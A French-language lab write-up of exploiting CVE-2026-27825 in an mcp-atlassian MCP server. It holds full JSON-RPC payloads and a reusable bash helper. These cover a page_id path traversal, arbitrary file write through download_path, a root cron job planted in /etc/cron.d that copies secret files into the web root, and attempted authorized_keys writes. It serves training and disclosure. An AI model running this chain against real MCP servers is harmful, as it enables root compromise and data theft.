Cible : 176.16.174.39
CVE : CVE-2026-27825
Date des opérations : 30 octobre – 2 novembre 2026
Flag : flag_57772dfb_a045_47eb_9b02_5a01965029fe

Ce rapport décrit uniquement les opérations effectuées sur la machine attribuée au lab. Les étapes d’écriture arbitraire et d’exécution cron sont intrusives : ne pas les reproduire sur un système tiers.


Résultat

  • Flag local récupéré : flag_57772dfb_a045_47eb_9b02_5a01965029fe
  • /root/proof.txt : absent ou illisible dans le contexte d’exécution de la tâche cron

Schéma général du lab


1. Résumé exécutif

Le lab exposait un serveur MCP Atlassian en SSE sur le port 9000. L’outil confluence_download_attachment acceptait un chemin de destination arbitraire, comportement correspondant à la vulnérabilité d’écriture de fichier décrite pour CVE-2026-27825. En parallèle, un serveur HTTP statique sur le port 8080 servait le répertoire /var/www/html du même environnement que le serveur MCP : cette relation a été vérifiée en écrivant une copie d’une pièce jointe sous /var/www/html/mer-probe.txt, puis en la lisant via HTTP.

Le chemin vers le flag :

  1. Découverte des services
  2. Énumération des outils MCP
  3. Contournement de route par page_id
  4. Découverte d’une page Confluence valide
  5. Confirmation de l’écriture arbitraire et du répertoire web partagé
  6. Dépôt d’une tâche cron au moyen d’une pièce jointe
  7. Lecture du fichier résultat via le port 8080

2. Cartographie de la cible

2.1 Scan TCP complet

sudo nmap -Pn -n -p- -sV --open -T4 176.16.174.39

Sortie observée :

Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    SimpleHTTPServer 0.6 (Python 3.11.15)
9000/tcp open  http    Uvicorn
MAC Address: 06:FF:EA:32:99:87 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Interprétation :

Port Service Rôle
22 SSH / OpenSSH 8.9p1 Accès refusé (publickey)
8080 HTTP / SimpleHTTPServer Python Serveur statique sur /var/www/html
9000 HTTP / Uvicorn Serveur MCP Atlassian (SSE)

2.2 Énumération web initiale

gobuster dir \
  -u "http://176.16.174.39:8080/" \
  -w /usr/share/wordlists/dirb/common.txt \
  -x txt,html,json,py,conf,log,bak \
  -t 20 \
  -s 200,204,301,302,307,401,403 \
  -b ""

Avant le dépôt du fichier cron :

index.html    (Status: 200) [Size: 35]

Après l’exécution de la tâche cron :

flag.txt      (Status: 200) [Size: 90]
index.html    (Status: 200) [Size: 35]
index.html    (Status: 200) [Size: 35]
Progress: 36904 / 36904 (100.00%)

La découverte de flag.txt en 200 confirme que le fichier de sortie créé sous /var/www/html/flag.txt était accessible au serveur statique. Le doublon index.html est un artefact de Gobuster avec l’option -x ; ce n’est pas un second flag.


3. Connexion et découverte du protocole MCP

3.1 Transport SSE

L’endpoint SSE fonctionnel :

curl -N "http://176.16.174.39:9000/sse"

Réponse observée :

event: endpoint
data: /messages/?session_id=<identifiant-de-session>

Il fallait conserver le session_id fourni, puis envoyer les requêtes JSON-RPC à /messages/?session_id=....

Requête d’initialisation :

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "initialize",
  "params": {
    "protocolVersion": "2024-11-05",
    "capabilities": {},
    "clientInfo": {"name": "lab", "version": "1.0"}
  }
}

Réponse MCP abrégée :

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "protocolVersion": "2024-11-05",
    "capabilities": {
      "experimental": {},
      "prompts": {"listChanged": false},
      "resources": {"subscribe": false, "listChanged": false},
      "tools": {"listChanged": false}
    },
    "serverInfo": {"name": "mcp-atlassian", "version": "1.26.0"}
  }
}

Notification d’initialisation :

{"jsonrpc": "2.0", "method": "notifications/initialized"}

Le point d’entrée /mcp a répondu HTTP/1.1 404 Not Found. Les échanges suivants ont donc utilisé le transport SSE confirmé.

3.2 Outils exposés

L’appel tools/list a révélé six outils :

Outil Description
confluence_search Recherche CQL dans Confluence
confluence_get_page Récupération de page par ID
confluence_list_spaces Liste des espaces
confluence_list_attachments Liste des pièces jointes
confluence_upload_attachment Upload d’une pièce jointe (page_id, filename, content)
confluence_download_attachment Téléchargement vers un chemin local arbitraire (attachment_id, download_path)

Le serveur annonçait la version mcp-atlassian 1.26.0. L’avis CVE et l’avis GitHub décrivent la vulnérabilité upstream comme affectant les versions antérieures à 0.17.0. L’écart entre ce numéro upstream et le serverInfo observé empêche d’identifier la version du paquet sous-jacent à partir de cette seule bannière ; le rapport conclut sur le comportement effectivement testé.


4. Découverte de la page Confluence et path traversal de route

L’espace ENG avait l’identifiant 65540. Les premiers essais (page_id=65540, 200000, 200001) ont échoué : 65540 était un ID d’espace, non un ID de page.

Un argument page_id contenant un segment de remontée a toutefois été interprété comme partie du chemin de l’API interne. La forme à un niveau a permis d’interroger la liste des pages :

{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "tools/call",
  "params": {
    "name": "confluence_get_page",
    "arguments": {"page_id": "../pages?space-id=65540&limit=100"}
  }
}

Sortie utile :

{
  "results": [{
    "body": {"storage": {"representation": "storage", "value": "<p>Sprint planning notes for Q1 2026.</p>"}},
    "id": "101001",
    "spaceId": "65540",
    "status": "current",
    "title": "Q1 Sprint Planning"
  }]
}

La page valide était donc 101001, intitulée Q1 Sprint Planning, dans l’espace ENG.

Récupération des métadonnées de la pièce jointe :

{
  "jsonrpc": "2.0",
  "id": 4,
  "method": "tools/call",
  "params": {
    "name": "confluence_get_page",
    "arguments": {"page_id": "../attachments/att200001"}
  }
}

Sortie observée :

{
  "fileSize": 84,
  "id": "att200001",
  "mediaType": "text/plain",
  "pageId": "101001",
  "status": "current",
  "title": "meeting-notes.txt"
}

5. Confirmation de l’écriture arbitraire et du répertoire web partagé

5.0 Fonction shell réutilisable (helper MCP)

IP=176.16.174.39

mcp_call() {
  local payload="$1" rid="$2" log sid pid
  log=$(mktemp)
  curl -sN "http://$IP:9000/sse" >"$log" 2>&1 &
  pid=$!
  for _ in $(seq 1 20); do
    sid=$(sed -n 's/.*session_id=//p' "$log" | head -n1 | tr -d '\r')
    [ -n "$sid" ] && break
    sleep 0.25
  done
  if [ -z "$sid" ]; then
    cat "$log"; kill "$pid" 2>/dev/null; rm -f "$log"; return 1
  fi

  post_mcp() {
    curl -sS -X POST "http://$IP:9000/messages/?session_id=$sid" \
      -H 'Content-Type: application/json' --data-binary "$1" >/dev/null
  }

  post_mcp '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"lab","version":"1.0"}}}'
  sleep 1
  post_mcp '{"jsonrpc":"2.0","method":"notifications/initialized"}'
  post_mcp "$payload"
  sleep 3
  grep -A1 "\"id\":$rid" "$log"
  kill "$pid" 2>/dev/null
  rm -f "$log"
}

5.1 Lecture/téléchargement vers un chemin local

mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"att200001","download_path":"/opt/app/meeting-notes.txt"}}}' 2

Réponse observée :

{
  "status": "success",
  "attachment_id": "att200001",
  "title": "meeting-notes.txt",
  "size": 84,
  "saved_to": "/opt/app/meeting-notes.txt"
}

Cela confirme que download_path est utilisé comme destination d’écriture, conformément au défaut de validation de chemin décrit par la fiche CVE et l’avis GitHub.

5.2 Preuve contrôlée sur le webroot

mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"att200001","download_path":"/var/www/html/mer-probe.txt"}}}' 2

Réponse MCP :

{"status": "success", ..., "saved_to": "/var/www/html/mer-probe.txt"}

Vérification HTTP :

curl -sS -i http://176.16.174.39:8080/mer-probe.txt

Retour HTTP 200 :

Meeting notes - Q1 sprint planning.
Action items:
- Review backlog
- Assign stories

Déduction déterminante : /var/www/html était accessible en écriture par l’outil MCP et exposé par le serveur statique sur le port 8080. Ce canal a fourni la primitive d’exfiltration du résultat cron.

5.3 Autres chemins de test

Chemin testé Confirmé HTTP 200
/var/www/html/mer-probe.txt ✅ Oui
/usr/share/nginx/html/mer-probe.txt ❌ Non vérifié publiquement
/srv/www/mer-probe.txt ❌ Non vérifié publiquement
/opt/app/static/mer-probe.txt ❌ Non vérifié publiquement
/opt/app/public/mer-probe.txt ❌ Non vérifié publiquement
/opt/app/mer-probe.txt ❌ Non vérifié publiquement
/tmp/mer-probe.txt ❌ Non vérifié publiquement

Boucle de test utilisée :

n=2
for path in \
  /var/www/html/mer-probe.txt \
  /usr/share/nginx/html/mer-probe.txt \
  /srv/www/mer-probe.txt \
  /opt/app/static/mer-probe.txt \
  /opt/app/public/mer-probe.txt \
  /opt/app/mer-probe.txt \
  /tmp/mer-probe.txt
do
  payload=$(python3 -c 'import json,sys; print(json.dumps({"jsonrpc":"2.0","id":int(sys.argv[1]),"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"att200001","download_path":sys.argv[2]}}}))' "$n" "$path")
  mcp_call "$payload" "$n"
  n=$((n+1))
done

6. Tentatives écartées

# Hypothèse Résultat
1 Redirection via en-têtes Atlassian SSE continuait à renvoyer des erreurs http://localhost:5000/...
2 Entrée /mcp HTTP 404 Not Found — transport SSE requis
3 Accès direct aux flags sur port 8080 Toutes les URL testées → 404
4 Routes de téléchargement Confluence devinées (/download/..., /attachments/...) 404
5 Recherche CQL (type=attachment, flag, meeting) {"results": [], "totalSize": 0}
6 SSH par clé publique (root, ubuntu, local) Permission denied (publickey)
7 Champ file_path lors de l’upload Non exposé dans le schéma — retourne fileSize: 5 (contenu probe uploadé, pas de lecture locale)

Commandes de vérification associées :

# Recherches CQL infructueuses
mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_search","arguments":{"query":"type=attachment"}}}' 2
mcp_call '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"confluence_search","arguments":{"query":"type=attachment AND space=ENG"}}}' 3
mcp_call '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"confluence_search","arguments":{"query":"type=attachment AND text~\"flag\""}}}' 4

# Test du point d'entrée /mcp (streamable HTTP)
curl -i -X POST "http://176.16.174.39:9000/mcp" \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  --data-binary '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"lab","version":"1.0"}}}'
# → HTTP/1.1 404 Not Found

# Tentatives SSH par clé publique
for user in root ubuntu local; do
  ssh -i /tmp/mer-lab-key -o IdentitiesOnly=yes \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/tmp/mer_known_hosts \
    "$user@176.16.174.39" 'id'
done
# → Permission denied (publickey) pour les trois comptes

# Chemins HTTP directs
IP=176.16.174.39
for path in /local.txt /proof.txt /flag /flag.txt /robots.txt /.env; do
  echo "===== $path ====="
  curl -sS --max-time 3 -w '\nHTTP %{http_code}\n' "http://$IP:8080$path" | head -c 500
  echo
done

7. Récupération du flag par tâche cron

7.1 Contenu téléversé

La pièce jointe dédiée a été ajoutée à la page 101001 avec le contenu suivant :

* * * * * root cat /home/local.txt /root/proof.txt > /var/www/html/flag.txt 2>&1; rm -f /etc/cron.d/mer-flag

Appel JSON-RPC d’upload :

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "confluence_upload_attachment",
    "arguments": {
      "page_id": "101001",
      "filename": "mer-cron.txt",
      "content": "* * * * * root cat /home/local.txt /root/proof.txt > /var/www/html/flag.txt 2>&1; rm -f /etc/cron.d/mer-flag\n"
    }
  }
}

Réponse de l’upload :

{
  "fileSize": 109,
  "id": "attbcca3471",
  "mediaType": "application/octet-stream",
  "pageId": "101001",
  "status": "current",
  "title": "mer-cron.txt"
}

Commande shell complète :

CRON='* * * * * root cat /home/local.txt /root/proof.txt > /var/www/html/flag.txt 2>&1; rm -f /etc/cron.d/mer-flag'
UPLOAD=$(python3 -c 'import json,sys; print(json.dumps({"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_upload_attachment","arguments":{"page_id":"101001","filename":"mer-cron.txt","content":sys.argv[1]+"\n"}}}))' "$CRON")
mcp_call "$UPLOAD" 2
# → ID : attbcca3471 | fileSize: 109

7.2 Écriture de la tâche dans /etc/cron.d/

mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"attbcca3471","download_path":"/etc/cron.d/mer-flag"}}}' 2

Interprétation de la ligne cron :

Champ Valeur Signification
Planification * * * * * Déclenchement chaque minute
Utilisateur root Format /etc/cron.d
Commande cat /home/local.txt /root/proof.txt Lecture des deux fichiers attendus
Redirection > /var/www/html/flag.txt 2>&1 Sortie + erreurs vers le webroot
Nettoyage ; rm -f /etc/cron.d/mer-flag Auto-suppression après exécution

L’écriture d’une entrée cron est également citée comme exemple d’impact dans la fiche CVE officielle et l’avis de sécurité du projet.

7.3 Lecture du résultat

IP=176.16.174.39
for i in $(seq 1 15); do
  echo "===== essai $i ====="
  curl -sS --max-time 3 -w '\nHTTP %{http_code}\n' \
    "http://$IP:8080/flag.txt"
  echo
  sleep 5
done

Les 11 premiers essais répondaient 404. À partir de l’essai 12 :

flag_57772dfb_a045_47eb_9b02_5a01965029fe
cat: /root/proof.txt: No such file or directory
HTTP 200

Confirmation directe :

curl -sS http://176.16.174.39:8080/flag.txt

8. Conclusion et chaîne causale

Étape Action Résultat
1 Scan nmap MCP sur 9000, HTTP statique sur 8080, SSH sur 22
2 Négociation SSE Outils MCP énumérés, version mcp-atlassian 1.26.0
3 Path traversal page_id Page 101001 découverte, pièce jointe att200001 identifiée
4 confluence_download_attachment Écriture arbitraire vers chemin local confirmée
5 Écriture dans /var/www/html Canal d’exfiltration HTTP validé (HTTP 200)
6 Upload de la tâche cron → attbcca3471 Contenu cron créé comme pièce jointe Confluence
7 Écriture dans /etc/cron.d/mer-flag Tâche déposée, cron exécuté au cycle suivant
8 curl /flag.txt (port 8080) Flag récupéré, proof.txt absent

🏁 Flag final

flag_57772dfb_a045_47eb_9b02_5a01965029fe
cat: /root/proof.txt: No such file or directory

9. État des modifications et nettoyage

Fichiers écrits sur la cible :

  • /opt/app/meeting-notes.txt
  • /var/www/html/mer-probe.txt
  • /usr/share/nginx/html/mer-probe.txt, /srv/www/mer-probe.txt, /opt/app/static/mer-probe.txt, /opt/app/public/mer-probe.txt, /opt/app/mer-probe.txt, /tmp/mer-probe.txt
  • /etc/cron.d/mer-flag (auto-suppression incluse, non vérifiée)
  • /var/www/html/flag.txt

Pièces jointes créées sur la page 101001 :

  • mer-lab-key.pub, content-probe.txt, local-copy.txt, mer-cron.txt

Tentatives d’écriture de clé SSH :

  • /root/.ssh/authorized_keys2, /root/.ssh/authorized_keys
  • /home/ubuntu/.ssh/authorized_keys, /home/local/.ssh/authorized_keys
  • → Connexions SSH refusées dans les trois cas

Conseil de remise en état : supprimer les fichiers de test confirmés, vérifier et retirer /etc/cron.d/mer-flag s’il existe encore, retirer les clés SSH éventuellement déposées. Ne pas utiliser l’outil d’écriture pour déposer une chaîne vide : cela tronque le fichier sans le supprimer. Les pièces jointes Confluence peuvent être supprimées via les fonctions d’administration du lab.


10. Limites de la retranscription

Les commandes MCP réutilisaient souvent un même squelette (ouverture SSE → session_id → initialize → notifications/initialized → tools/call). Pour éviter la répétition, ce rapport reproduit les requêtes JSON-RPC déterminantes et conserve les sorties pertinentes. La confirmation brute de l’écriture cron n’est pas présente dans les extraits transmis ; le succès d’exécution est établi par l’apparition ultérieure de flag.txt via HTTP et par son corps observé.


11. Dernière vérification Gobuster après exploitation

gobuster dir \
  -u "http://176.16.174.39:8080/" \
  -w /usr/share/wordlists/dirb/common.txt \
  -x txt,html,json,py,conf,log,bak \
  -t 20 \
  -s 200,204,301,302,307,401,403 \
  -b ""

Sortie pertinente :

flag.txt      (Status: 200) [Size: 90]
index.html    (Status: 200) [Size: 35]
index.html    (Status: 200) [Size: 35]
Progress: 36904 / 36904 (100.00%)

Cette énumération finale confirme que le cron avait créé flag.txt et que le serveur statique le rendait accessible en HTTP 200. Le doublon index.html est un artefact de Gobuster ; le résultat déterminant est flag.txt.


Références

# Source Description
1 Fiche CVE officielle CVE-2026-27825 — écriture de fichier arbitraire via download_path
2 Avis GitHub du projet Avis de sécurité upstream mcp-atlassian
3 Analyse Pluto Security Analyse technique indépendante — primitive d’écriture et scénarios d’impact